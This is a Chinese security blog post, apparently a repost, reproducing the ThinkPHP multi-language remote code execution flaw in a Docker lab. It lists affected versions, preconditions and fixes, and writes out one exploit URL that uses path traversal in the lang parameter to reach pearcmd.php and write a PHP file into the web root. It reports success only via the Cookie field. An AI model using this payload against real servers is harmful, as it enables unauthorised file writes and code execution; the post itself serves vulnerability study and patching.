漏洞复现|Thinkphp RCE

admin 2022年12月12日12:53:04评论232 views字数 1583阅读5分16秒阅读模式





点击蓝字 关注我们

免责声明

本文章只用于技术交流,若使用本文章提供的技术信息进行非法操作,后果均由使用者本人负责。

漏洞复现|Thinkphp RCE

前言

之前本来是打算复现Apache Fineract 远程代码执行漏洞的,但是由于在环境搭建的编译文件的时候一直报错,折磨了好久;又赶上新出的tp洞,所以这次跟着热度走,复现一下thinkphp多语言模块远程代码执行漏洞

 

漏洞复现|Thinkphp RCE

漏洞详情


漏洞描述:

ThinkPHP在开启多语言功能的情况下存在文件包含漏洞,攻击者可以通过get、header、cookie等位置传入参数,实现目录穿越+文件包含,通过pearcmd文件包含这个trick即可实现RCE。


影响版本

6.0.1 < ThinkPHP≤ 6.0.13

5.0.0 < ThinkPHP≤ 5.0.12

5.1.0 < ThinkPHP≤ 5.1.8


利用条件:

1、多语言开启

2、安装pear扩展

3、知道pearcmd.php路径

4、register_argc_argv=on



修复建议:

1、若无必要,可关闭多语言功能,可参考文档

https://www.kancloud.cn/manual/thinkphp6_0/1037637

https://static.kancloud.cn/manual/thinkphp5/118132

2、官方已发布6.0.14、5.1.42,建议升级至安全版本,链接如下:

https://github.com/top-think/framework/tags



漏洞复现|Thinkphp RCE


漏洞复现

环境搭建:

服务器首先要有docker环境

没有的可以先部署一个


1、docker直接拉取thinkphp:6.0.12的漏洞环境镜像:

docker pull vulfocus/thinkphp:6.0.12


启动容器,将容器的80端口映射到本机的80端口

docker run  --name tp123 -p 80:80 -d 镜像id


漏洞复现|Thinkphp RCE

2、如果搭建了vulfocus的可以直接使用vulfocus中自带的thinkphp5.0.23

cd到/vulhub/thinkphp/5.0.23-rce目录下直接

docker-compose up -d  

默认映射端口是8080


漏洞复现|Thinkphp RCE


注:使用云服务器师傅们记得在控制台放行一下端口哈T^T


pearcmd.php

这个文件的一些具体细节可以参考这篇文章

https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp

进入容器查看pearcmd.php文件路径为

/usr/local/lib/php/pearcmd.php


漏洞复现|Thinkphp RCE

EXP

/index?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/+/var/www/html/test.php


GET:

在利用get写入文件的时候不知道是不是对../长度做了限制,只用一个../的时候响应还是正常的,但是两个或两个以上的../的时候会connetion reset,同一个环境,有师傅就可以写。有知道原因的师傅可以交流一下。


使用一个../的时候返回正常

漏洞复现|Thinkphp RCE


使用大于两个../的时候于服务器的连接出现异常,如下:


漏洞复现|Thinkphp RCE


Cookie:

还是同一个环境,在cookie处就可以正常遍历路径,可以成功写入文件。


漏洞复现|Thinkphp RCE


漏洞复现|Thinkphp RCE


漏洞复现|Thinkphp RCE


漏洞复现|Thinkphp RCE

漏洞复现|Thinkphp RCE


header:

使用header写入文件的方式也没有复现成功,因为时间有限,试了一些方法后也没有成功。打算之后再试试其他办法。知道原因的师傅,希望可以交流交流


漏洞复现|Thinkphp RCE



漏洞复现|Thinkphp RCE


文章中的一些问题希望各位大佬不吝赐教,对于一些错误之处希望各位师傅多多指正!气温骤降啦,各位师傅在应急的同时也要注意保暖呀!







漏洞复现|Thinkphp RCE

 

漏洞复现|Thinkphp RCE

公众号|A9 Team


作者|gnoy

原文始发于微信公众号(A9 Team):漏洞复现|Thinkphp RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月12日12:53:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞复现|Thinkphp RCEhttps://cn-sec.com/archives/1457361.html

发表评论

匿名网友 填写信息